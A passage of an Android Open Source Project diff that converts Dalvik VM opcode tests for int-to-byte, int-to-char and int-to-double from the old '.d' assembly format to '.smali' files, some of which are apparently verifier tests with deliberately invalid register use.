-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)B
-.limit regs 5
-
-       int-to-byte v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali
new file mode 100644
index 0000000..ea63818
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_5.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)B
+.registers 5
+
+       int-to-byte v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.d
deleted file mode 100644
index 66b3071..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_byte_6.java
-.class public dot.junit.opcodes.int_to_byte.d.T_int_to_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)B
-.limit regs 5
-
-       int-to-byte v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali
new file mode 100644
index 0000000..58d59bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_6.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.d
deleted file mode 100644
index c469970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_1.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       int-to-char v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali
new file mode 100644
index 0000000..9063148
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_1.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.d
deleted file mode 100644
index df98cf1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_2.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-char v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali
new file mode 100644
index 0000000..5d4e8c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_2.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-char v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.d
deleted file mode 100644
index e67ac88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_3.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-char v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali
new file mode 100644
index 0000000..d3d966e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_3.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       const-wide v0, 1234
+       int-to-char v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.d
deleted file mode 100644
index 72477b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_4.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       int-to-char v2, v3
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali
new file mode 100644
index 0000000..f0806bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_4.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v2, v3
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.d
deleted file mode 100644
index c00482b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_5.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)C
-.limit regs 5
-
-       int-to-char v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali
new file mode 100644
index 0000000..e2175e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_5.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)C
+.registers 5
+
+       int-to-char v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.d
deleted file mode 100644
index 91c0397..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_6.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       int-to-char v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali
new file mode 100644
index 0000000..aca9551
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_6.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.d
deleted file mode 100644
index 19a17f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_1.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       int-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali
new file mode 100644
index 0000000..6552673
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_1.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.d
deleted file mode 100644
index adc6bfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_3.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       const-wide v4, 123455    
-
-       int-to-double v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali
new file mode 100644
index 0000000..443aa5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_3.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       const-wide v4, 123455    
+
+       int-to-double v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.d
deleted file mode 100644
index 51f6966..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_4.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()D
-.limit regs 1
-
-       const v0, 1234
-       int-to-double v0, v0
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali
new file mode 100644
index 0000000..57d8e7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_4.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 1
+
+       const v0, 1234
+       int-to-double v0, v0
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.d
deleted file mode 100644
index 9d8382d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_5.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       int-to-double v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali
new file mode 100644
index 0000000..662f50c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_5.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.d
deleted file mode 100644
index 529f23e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_6.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       int-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali
new file mode 100644
index 0000000..c8cc06a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali
